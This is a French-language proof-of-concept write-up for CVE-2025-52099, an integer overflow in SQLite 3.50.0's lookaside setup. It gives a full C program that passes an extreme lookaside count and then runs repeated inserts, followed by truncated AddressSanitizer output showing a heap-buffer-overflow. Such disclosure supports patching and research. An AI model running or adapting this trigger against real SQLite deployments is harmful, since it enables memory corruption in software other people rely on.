
Preuve de concept pour CVE-2025-52099, un dépassement d'entier dans la fonction setupLookaside de SQLite 3.50.0 conduisant à un dépassement de tampon de tas.
un dépassement d'entier dans SQLite 3.50.0
Une preuve de concept (PoC) pour déclencher un dépassement d'entier dans la fonction setupLookaside de SQLite 3.50.0 est fournie ci-dessous. Ce dépassement se produit en raison d'une multiplication non vérifiée de sz * nBig, qui peut produire une valeur négative et entraîner des écritures mémoire invalides.
Testé sur : Ubuntu 22.04 x86_64 avec SQLite 3.50.0 (compilé sur mesure)
Code PoC (C) :
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
Ce PoC, lorsqu'il est compilé avec AddressSanitizer (-fsanitize=address), entraîne un dépassement de tampon de tas (heap-buffer-overflow) en raison d'une configuration de slot lookaside invalide.
Sortie observée avec ASAN :
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...